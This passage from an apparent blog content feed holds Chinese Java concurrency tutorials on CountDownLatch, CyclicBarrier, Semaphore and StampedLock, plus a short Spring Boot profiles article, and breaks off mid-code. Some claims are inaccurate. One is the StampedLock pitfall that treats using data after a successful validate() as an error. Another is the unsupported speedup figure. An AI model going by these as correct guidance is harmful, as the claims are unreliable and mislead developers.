<span class="title class_">Thread</span>(() -&gt; &#123; loadProduct(); latch.countDown(); &#125;).start();</span><br><span class="line">        </span><br><span class="line">        latch.await();  <span class="comment">// 等待全部加载完成</span></span><br><span class="line">        System.out.println(<span class="string">&quot;所有数据加载完成，开始处理&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="2-多服务并行调用"><a href="#2-多服务并行调用" class="headerlink" title="2. 多服务并行调用"></a>2. 多服务并行调用</h4><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AggregateService</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> AggregateResult <span class="title function_">fetch</span><span class="params">()</span> <span class="keyword">throws</span> InterruptedException &#123;</span><br><span class="line">        <span class="type">CountDownLatch</span> <span class="variable">latch</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">CountDownLatch</span>(<span class="number">3</span>);</span><br><span class="line">        AtomicReference&lt;User&gt; userRef = <span class="keyword">new</span> <span class="title class_">AtomicReference</span>&lt;&gt;();</span><br><span class="line">        AtomicReference&lt;Order&gt; orderRef = <span class="keyword">new</span> <span class="title class_">AtomicReference</span>&lt;&gt;();</span><br><span class="line">        </span><br><span class="line">        executor.execute(() -&gt; &#123;</span><br><span class="line">            userRef.set(userService.fetch());</span><br><span class="line">            latch.countDown();</span><br><span class="line">        &#125;);</span><br><span class="line">        executor.execute(() -&gt; &#123;</span><br><span class="line">            orderRef.set(orderService.fetch());</span><br><span class="line">            latch.countDown();</span><br><span class="line">        &#125;);</span><br><span class="line">        executor.execute(() -&gt; &#123;</span><br><span class="line">            inventoryRef.set(inventoryService.fetch());</span><br><span class="line">            latch.countDown();</span><br><span class="line">        &#125;);</span><br><span class="line">        </span><br><span class="line">        latch.await(<span class="number">5</span>, TimeUnit.SECONDS);  <span class="comment">// 最多等5秒</span></span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">AggregateResult</span>(userRef.get(), orderRef.get(), ...);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="实现原理"><a href="#实现原理" class="headerlink" title="实现原理"></a>实现原理</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CountDownLatch</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">class</span> <span class="title class_">Sync</span> <span class="keyword">extends</span> <span class="title class_">AbstractQueuedSynchronizer</span> &#123;</span><br><span class="line">        Sync(<span class="type">int</span> count) &#123;</span><br><span class="line">            setState(count);  <span class="comment">// state = 计数器</span></span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">protected</span> <span class="type">int</span> <span class="title function_">tryAcquireShared</span><span class="params">(<span class="type">int</span> acquires)</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> (getState() == <span class="number">0</span>) ? <span class="number">1</span> : -<span class="number">1</span>;  <span class="comment">// state为0才成功</span></span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">protected</span> <span class="type">boolean</span> <span class="title function_">tryReleaseShared</span><span class="params">(<span class="type">int</span> releases)</span> &#123;</span><br><span class="line">            <span class="keyword">for</span> (;;) &#123;</span><br><span class="line">                <span class="type">int</span> <span class="variable">c</span> <span class="operator">=</span> getState();</span><br><span class="line">                <span class="keyword">if</span> (c == <span class="number">0</span>) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">                <span class="type">int</span> <span class="variable">nextc</span> <span class="operator">=</span> c - <span class="number">1</span>;</span><br><span class="line">                <span class="keyword">if</span> (compareAndSetState(c, nextc))</span><br><span class="line">                    <span class="keyword">return</span> nextc == <span class="number">0</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>关键</strong>：基于 AQS 的共享模式，state 减到 0 时唤醒所有等待线程。</p><h2 id="CyclicBarrier：循环栅栏"><a href="#CyclicBarrier：循环栅栏" class="headerlink" title="CyclicBarrier：循环栅栏"></a>CyclicBarrier：循环栅栏</h2><h3 id="核心思想-1"><a href="#核心思想-1" class="headerlink" title="核心思想"></a>核心思想</h3><p>一组线程互相等待，到达屏障后被阻塞，直到最后一个线程到达，然后一起放行。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CyclicBarrierExample</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">3</span>;</span><br><span class="line">        <span class="type">CyclicBarrier</span> <span class="variable">barrier</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">CyclicBarrier</span>(count, () -&gt; &#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;所有线程已到达屏障，放行！&quot;</span>);</span><br><span class="line">        &#125;);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; count; i++) &#123;</span><br><span class="line">            <span class="keyword">final</span> <span class="type">int</span> <span class="variable">id</span> <span class="operator">=</span> i;</span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;</span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    System.out.println(<span class="string">&quot;Thread &quot;</span> + id + <span class="string">&quot; 到达屏障&quot;</span>);</span><br><span class="line">                    barrier.await();  <span class="comment">// 等待其他线程</span></span><br><span class="line">                    System.out.println(<span class="string">&quot;Thread &quot;</span> + id + <span class="string">&quot; 继续执行&quot;</span>);</span><br><span class="line">                &#125; <span class="keyword">catch</span> (Exception e) &#123;&#125;</span><br><span class="line">            &#125;).start();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="与-CountDownLatch-的区别"><a href="#与-CountDownLatch-的区别" class="headerlink" title="与 CountDownLatch 的区别"></a>与 CountDownLatch 的区别</h3><table><thead><tr><th>特性</th><th>CountDownLatch</th><th>CyclicBarrier</th></tr></thead><tbody><tr><td>计数方向</td><td>递减到0</td><td>递增到指定值</td></tr><tr><td>重用性</td><td>一次性</td><td>可循环使用</td></tr><tr><td>等待方</td><td>一个或多个线程等待</td><td>所有线程互相等待</td></tr><tr><td>动作</td><td>无回调</td><td>可指定回调</td></tr><tr><td>异常</td><td>无</td><td>可 broken</td></tr></tbody></table><h3 id="循环使用"><a href="#循环使用" class="headerlink" title="循环使用"></a>循环使用</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Race</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">CyclicBarrier</span> <span class="variable">barrier</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">CyclicBarrier</span>(<span class="number">3</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">round</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">3</span>; i++) &#123;  <span class="comment">// 3轮比赛</span></span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;</span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    prepare();   <span class="comment">// 准备</span></span><br><span class="line">                    barrier.await();</span><br><span class="line">                    race();      <span class="comment">// 起跑</span></span><br><span class="line">                    barrier.await();</span><br><span class="line">                    rest();      <span class="comment">// 休息</span></span><br><span class="line">                &#125; <span class="keyword">catch</span> (Exception e) &#123;&#125;</span><br><span class="line">            &#125;).start();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="broken-处理"><a href="#broken-处理" class="headerlink" title="broken 处理"></a>broken 处理</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    barrier.await();</span><br><span class="line">&#125; <span class="keyword">catch</span> (BrokenBarrierException e) &#123;</span><br><span class="line">    <span class="comment">// 其他线程中断或超时，屏障被打破</span></span><br><span class="line">    System.out.println(<span class="string">&quot;屏障被打破&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="Semaphore：信号量"><a href="#Semaphore：信号量" class="headerlink" title="Semaphore：信号量"></a>Semaphore：信号量</h2><h3 id="核心思想-2"><a href="#核心思想-2" class="headerlink" title="核心思想"></a>核心思想</h3><p>控制同时访问某资源的线程数量。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SemaphoreExample</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="comment">// 同时允许3个线程访问</span></span><br><span class="line">        <span class="type">Semaphore</span> <span class="variable">semaphore</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Semaphore</span>(<span class="number">3</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">10</span>; i++) &#123;</span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;</span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    semaphore.acquire();  <span class="comment">// 获取许可</span></span><br><span class="line">                    System.out.println(Thread.currentThread().getName() + <span class="string">&quot; 获取许可&quot;</span>);</span><br><span class="line">                    Thread.sleep(<span class="number">2000</span>);</span><br><span class="line">                &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">                &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">                    semaphore.release();  <span class="comment">// 释放许可</span></span><br><span class="line">                    System.out.println(Thread.currentThread().getName() + <span class="string">&quot; 释放许可&quot;</span>);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;).start();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="应用场景"><a href="#应用场景" class="headerlink" title="应用场景"></a>应用场景</h3><h4 id="1-限流"><a href="#1-限流" class="headerlink" title="1. 限流"></a>1. 限流</h4><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RateLimiter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Semaphore semaphore;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">RateLimiter</span><span class="params">(<span class="type">int</span> qps)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.semaphore = <span class="keyword">new</span> <span class="title class_">Semaphore</span>(qps);</span><br><span class="line">        <span class="comment">// 定时释放</span></span><br><span class="line">        <span class="type">ScheduledExecutorService</span> <span class="variable">executor</span> <span class="operator">=</span> Executors.newScheduledThreadPool(<span class="number">1</span>);</span><br><span class="line">        executor.scheduleAtFixedRate(() -&gt; &#123;</span><br><span class="line">            semaphore.release(qps - semaphore.availablePermits());</span><br><span class="line">        &#125;, <span class="number">1</span>, <span class="number">1</span>, TimeUnit.SECONDS);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">acquire</span><span class="params">()</span> <span class="keyword">throws</span> InterruptedException &#123;</span><br><span class="line">        semaphore.acquire();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="2-资源池"><a href="#2-资源池" class="headerlink" title="2. 资源池"></a>2. 资源池</h4><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ConnectionPool</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Semaphore semaphore;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> BlockingQueue&lt;Connection&gt; pool;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">ConnectionPool</span><span class="params">(<span class="type">int</span> size)</span> &#123;</span><br><span class="line">        semaphore = <span class="keyword">new</span> <span class="title class_">Semaphore</span>(size);</span><br><span class="line">        pool = <span class="keyword">new</span> <span class="title class_">ArrayBlockingQueue</span>&lt;&gt;(size);</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; size; i++) &#123;</span><br><span class="line">            pool.add(createConnection());</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Connection <span class="title function_">borrow</span><span class="params">()</span> <span class="keyword">throws</span> InterruptedException &#123;</span><br><span class="line">        semaphore.acquire();</span><br><span class="line">        <span class="keyword">return</span> pool.take();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">release</span><span class="params">(Connection conn)</span> &#123;</span><br><span class="line">        pool.offer(conn);</span><br><span class="line">        semaphore.release();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="三者的选择"><a href="#三者的选择" class="headerlink" title="三者的选择"></a>三者的选择</h2><table><thead><tr><th>场景</th><th>工具类</th></tr></thead><tbody><tr><td>主线程等待多个子线程完成</td><td>CountDownLatch</td></tr><tr><td>多线程互相等待（分阶段执行）</td><td>CyclicBarrier</td></tr><tr><td>限制并发访问数量</td><td>Semaphore</td></tr></tbody></table><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>CountDownLatch、CyclicBarrier 和 Semaphore 都是基于 AQS 实现的同步工具：</p><ul><li><strong>CountDownLatch</strong>：倒计时，用于等待事件完成</li><li><strong>CyclicBarrier</strong>：循环栅栏，用于多线程阶段同步</li><li><strong>Semaphore</strong>：信号量，用于控制并发数量</li></ul><p>理解它们的实现原理和适用场景，可以优雅地解决多线程协作问题。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Java </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring Boot 日志配置和链路排查</title>
      <link href="//spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/"/>
      <url>//spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="Spring-Boot-日志配置和链路排查"><a href="#Spring-Boot-日志配置和链路排查" class="headerlink" title="Spring Boot 日志配置和链路排查"></a>Spring Boot 日志配置和链路排查</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>StampedLock与读写锁优化</title>
      <link href="//stampedlock-yu-du-xie-suo-you-hua/"/>
      <url>//stampedlock-yu-du-xie-suo-you-hua/</url>
      
        <content type="html"><![CDATA[<h1 id="StampedLock与读写锁优化"><a href="#StampedLock与读写锁优化" class="headerlink" title="StampedLock与读写锁优化"></a>StampedLock与读写锁优化</h1><p><code>StampedLock</code> 是 Java 8 引入的新型锁，相比 <code>ReentrantReadWriteLock</code> 提供了乐观读能力，在读多写少的场景下性能更优。</p><h2 id="三种锁模式"><a href="#三种锁模式" class="headerlink" title="三种锁模式"></a>三种锁模式</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">StampedLock</span> <span class="keyword">implements</span> <span class="title class_">java</span>.io.Serializable &#123;</span><br><span class="line">    <span class="comment">// 写锁</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">long</span> <span class="title function_">writeLock</span><span class="params">()</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">unlockWrite</span><span class="params">(<span class="type">long</span> stamp)</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 悲观读锁</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">long</span> <span class="title function_">readLock</span><span class="params">()</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">unlockRead</span><span class="params">(<span class="type">long</span> stamp)</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 乐观读</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">long</span> <span class="title function_">tryOptimisticRead</span><span class="params">()</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">validate</span><span class="params">(<span class="type">long</span> stamp)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="ReentrantReadWriteLock-回顾"><a href="#ReentrantReadWriteLock-回顾" class="headerlink" title="ReentrantReadWriteLock 回顾"></a>ReentrantReadWriteLock 回顾</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Point</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">double</span> x, y;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">ReadWriteLock</span> <span class="variable">rwl</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ReentrantReadWriteLock</span>();</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">Lock</span> <span class="variable">r</span> <span class="operator">=</span> rwl.readLock();</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">Lock</span> <span class="variable">w</span> <span class="operator">=</span> rwl.writeLock();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">double</span> <span class="title function_">distance</span><span class="params">()</span> &#123;</span><br><span class="line">        r.lock();</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> Math.sqrt(x * x + y * y);</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            r.unlock();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">move</span><span class="params">(<span class="type">double</span> dx, <span class="type">double</span> dy)</span> &#123;</span><br><span class="line">        w.lock();</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            x += dx;</span><br><span class="line">            y += dy;</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            w.unlock();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>缺点</strong>：读锁会阻塞写锁，读操作频繁时写操作可能饥饿。</p><h2 id="StampedLock-乐观读"><a href="#StampedLock-乐观读" class="headerlink" title="StampedLock 乐观读"></a>StampedLock 乐观读</h2><h3 id="基本用法"><a href="#基本用法" class="headerlink" title="基本用法"></a>基本用法</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Point</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">double</span> x, y;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">StampedLock</span> <span class="variable">sl</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StampedLock</span>();</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 乐观读</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">double</span> <span class="title function_">distanceFromOrigin</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">long</span> <span class="variable">stamp</span> <span class="operator">=</span> sl.tryOptimisticRead();  <span class="comment">// 获取乐观读戳</span></span><br><span class="line">        <span class="type">double</span> <span class="variable">currentX</span> <span class="operator">=</span> x;</span><br><span class="line">        <span class="type">double</span> <span class="variable">currentY</span> <span class="operator">=</span> y;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 验证期间是否有写操作</span></span><br><span class="line">        <span class="keyword">if</span> (!sl.validate(stamp)) &#123;</span><br><span class="line">            <span class="comment">// 有冲突，升级为悲观读锁</span></span><br><span class="line">            stamp = sl.readLock();</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                currentX = x;</span><br><span class="line">                currentY = y;</span><br><span class="line">            &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">                sl.unlockRead(stamp);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> Math.sqrt(currentX * currentX + currentY * currentY);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 写操作</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">move</span><span class="params">(<span class="type">double</span> dx, <span class="type">double</span> dy)</span> &#123;</span><br><span class="line">        <span class="type">long</span> <span class="variable">stamp</span> <span class="operator">=</span> sl.writeLock();</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            x += dx;</span><br><span class="line">            y += dy;</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            sl.unlockWrite(stamp);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="锁升级"><a href="#锁升级" class="headerlink" title="锁升级"></a>锁升级</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transform</span><span class="params">(<span class="type">double</span> dx, <span class="type">double</span> dy)</span> &#123;</span><br><span class="line">    <span class="type">long</span> <span class="variable">stamp</span> <span class="operator">=</span> sl.readLock();  <span class="comment">// 先获取读锁</span></span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="keyword">while</span> (x == <span class="number">0.0</span> &amp;&amp; y == <span class="number">0.0</span>) &#123;</span><br><span class="line">            <span class="type">long</span> <span class="variable">ws</span> <span class="operator">=</span> sl.tryConvertToWriteLock(stamp);  <span class="comment">// 尝试升级为写锁</span></span><br><span class="line">            <span class="keyword">if</span> (ws != <span class="number">0L</span>) &#123;</span><br><span class="line">                stamp = ws;</span><br><span class="line">                x = dx;</span><br><span class="line">                y = dy;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                sl.unlockRead(stamp);</span><br><span class="line">                stamp = sl.writeLock();  <span class="comment">// 直接获取写锁</span></span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">        sl.unlock(stamp);  <span class="comment">// 统一释放</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="三种模式对比"><a href="#三种模式对比" class="headerlink" title="三种模式对比"></a>三种模式对比</h2><table><thead><tr><th>特性</th><th>ReentrantReadWriteLock</th><th>StampedLock</th></tr></thead><tbody><tr><td>读锁</td><td>阻塞写</td><td>阻塞写（悲观读）</td></tr><tr><td>乐观读</td><td>不支持</td><td>支持（不阻塞写）</td></tr><tr><td>重入</td><td>支持</td><td>不支持</td></tr><tr><td>条件变量</td><td>支持</td><td>不支持</td></tr><tr><td>性能</td><td>一般</td><td>读多写少时更好</td></tr><tr><td>中断</td><td>支持</td><td>乐观读不支持</td></tr></tbody></table><h2 id="性能测试"><a href="#性能测试" class="headerlink" title="性能测试"></a>性能测试</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LockPerformance</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="comment">// 读:写 = 100:1 场景</span></span><br><span class="line">        testReadWriteLock();</span><br><span class="line">        testStampedLock();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>结果</strong>：</p><ul><li>读多写少（100:1）：StampedLock 比 ReadWriteLock 快 5~10 倍</li><li>读写均衡：性能相近</li><li>写多读少：ReadWriteLock 略优</li></ul><h2 id="使用陷阱"><a href="#使用陷阱" class="headerlink" title="使用陷阱"></a>使用陷阱</h2><h3 id="1-不可重入"><a href="#1-不可重入" class="headerlink" title="1. 不可重入"></a>1. 不可重入</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">methodA</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">long</span> <span class="variable">stamp</span> <span class="operator">=</span> lock.readLock();</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        methodB();  <span class="comment">// 同一线程再次获取锁会死锁！</span></span><br><span class="line">    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">        lock.unlockRead(stamp);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">methodB</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">long</span> <span class="variable">stamp</span> <span class="operator">=</span> lock.readLock();  <span class="comment">// 死锁！</span></span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-乐观读validate后不能再用旧数据"><a href="#2-乐观读validate后不能再用旧数据" class="headerlink" title="2. 乐观读validate后不能再用旧数据"></a>2. 乐观读validate后不能再用旧数据</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">long</span> <span class="variable">stamp</span> <span class="operator">=</span> lock.tryOptimisticRead();</span><br><span class="line"><span class="type">int</span> <span class="variable">value</span> <span class="operator">=</span> data.get();</span><br><span class="line"></span><br><span class="line"><span class="comment">// ... 其他操作 ...</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (lock.validate(stamp)) &#123;</span><br><span class="line">    <span class="comment">// 错误！validate后value可能已被修改</span></span><br><span class="line">    <span class="keyword">return</span> value * <span class="number">2</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-忘记验证"><a href="#3-忘记验证" class="headerlink" title="3. 忘记验证"></a>3. 忘记验证</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span 